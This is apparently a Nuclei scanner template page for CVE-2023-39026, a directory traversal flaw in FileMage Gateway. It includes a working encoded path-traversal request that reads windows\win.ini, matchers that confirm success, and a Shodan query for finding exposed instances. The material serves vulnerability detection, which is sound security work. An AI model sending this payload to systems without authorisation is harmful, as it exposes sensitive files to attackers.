FileMage Gateway - Directory Traversal

ID: CVE-2023-39026

Severity: high

Author: DhiyaneshDk

Tags: cve2023,cve,packetstorm,lfi,filemage,microsoft

Description

Directory Traversal vulnerability in FileMage Gateway Windows Deployments v.1.10.8 and before allows a remote attacker to obtain sensitive information via a crafted request to the /mgmt/ component.

YAML Source

id: CVE-2023-39026

info:
  name: FileMage Gateway - Directory Traversal
  author: DhiyaneshDk
  severity: high
  description: |
    Directory Traversal vulnerability in FileMage Gateway Windows Deployments v.1.10.8 and before allows a remote attacker to obtain sensitive information via a crafted request to the /mgmt/ component.
  impact: |
    An attacker can view, modify, or delete sensitive files on the system, potentially leading to unauthorized access, data leakage, or system compromise.
  remediation: |
    Apply the latest security patches or updates provided by the vendor to fix the directory traversal vulnerability in FileMage Gateway.
  reference:
    - https://raindayzz.com/technicalblog/2023/08/20/FileMage-Vulnerability.html
    - https://securityonline.info/cve-2023-39026-filemage-gateway-directory-traversal-vulnerability/
    - https://nvd.nist.gov/vuln/detail/CVE-2023-39026
    - https://www.filemage.io/docs/updates.html#change-log
    - http://packetstormsecurity.com/files/174491/FileMage-Gateway-1.10.9-Local-File-Inclusion.html
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2023-39026
    cwe-id: CWE-22
    epss-score: 0.04279
    epss-percentile: 0.92285
    cpe: cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: microsoft
    product: windows
    shodan-query:
      - title:"FileMage"
      - cpe:"cpe:2.3:o:microsoft:windows"
  tags: cve2023,cve,packetstorm,lfi,filemage,microsoft

http:
  - method: GET
    path:
      - "{{BaseURL}}/mgmnt/..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5cwindows%5cwin.ini"

    matchers:
      - type: dsl
        dsl:
          - "contains_all(body,'bit app support','extensions','fonts')"
          - "contains(content_type, 'text/plain')"
          - "status_code == 200"
        condition: and
# digest: 4b0a0048304602210092c8d0853262c8b8256785fa5e8e2263ca50ee65880a3adc7bdb3f03b288cece022100ec3c72282c0c533c144dabb54a307ae04b623917aff5edca6b0f9ffde9d53deb:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2023/CVE-2023-39026.yaml"

View on Github